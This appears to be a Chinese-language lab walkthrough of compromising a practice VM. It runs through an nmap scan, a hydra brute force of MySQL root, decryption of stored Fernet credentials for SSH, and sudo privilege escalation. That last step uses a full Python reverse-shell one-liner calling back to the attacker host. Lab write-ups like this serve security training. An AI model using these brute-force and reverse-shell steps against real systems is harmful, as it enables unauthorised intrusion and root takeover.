nmap扫描端口 ---- hydra爆破mysql默认用户root的密码 ---- 在数据库中发现fernet密文和密钥 ---- python解密fernet密文 ---- 利用python脚本漏洞sudo提权
环境信息:靶机:192.168.101.95
攻击机:192.168.101.34
具体步骤: 1、nmap扫描端口sudo nmap -sV -sC -p- 192.168.101.95
只扫描到tcp 1337(ssh)和3306(mysql)
由于nmap扫描到的信息太少了,并且ssh登录的用户名犹如大海捞针,而mysql(MariaDB)有默认用户root,所以先试试用hydra爆破mysql用户root的密码。使用字典/usr/share/wordlists/rockyou.txt.gz解压后的rockyou.txt。
hydra -l root -P "rockyou.txt" mysql://192.168.101.95
稍等一会儿,爆破出root的密码prettywoman
以用户名root,密码prettywoman进入数据库
mysql -h 192.168.101.95 -u root -p
查看所有数据库,发现数据库data
MariaDB [(none)]> show databases;
进入data数据库,查看所有表,发现表fernet
MariaDB [(none)]> use data;
MariaDB [data]> show tables;
查看fernet表中的数据,发现有一条数据
MariaDB [data]> select * from fernet;
cred列的值为gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy列的值为UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
4、python解密fernet密文fernet是一种对称加密算法,python中fernet的用法可以在这个网页找到:
Fernet (symmetric encryption) — Cryptography 38.0.0.dev1 documentation
根据上述网页的示例,在python3 shell中(命令行执行python3
即可进入)依次执行如下命令,即可得到执行结果b'lucy:wJ9`"Lemdv9[FEw-'
>>> from cryptography.fernet import Fernet
>>> key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
>>> f = Fernet(key)
>>> token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
>>> f.decrypt(token)
b'lucy:wJ9`"Lemdv9[FEw-'
尝试以用户名lucy,密码wJ9`"Lemdv9[FEw-进行ssh登录,ssh端口为1337
ssh lucy@192.168.101.95 -p 1337
登录成功后查看lucy是否可以sudo执行命令
sudo -l
发现lucy可以以root的身份sudo执行python2 /opt/exp.py
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
查看/opt/exp.py的内容,发现它把用户输入当作python语句执行,利用这点可以提权
在攻击机上nc监听8888端口
nc -nlvp 8888
靶机上执行
sudo python2 /opt/exp.py
在提示how are you?之后输入
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
由于raw_input()函数默认将输入作为字符串,所以上述命令两侧不要加引号
攻击机上得到靶机root用户的shell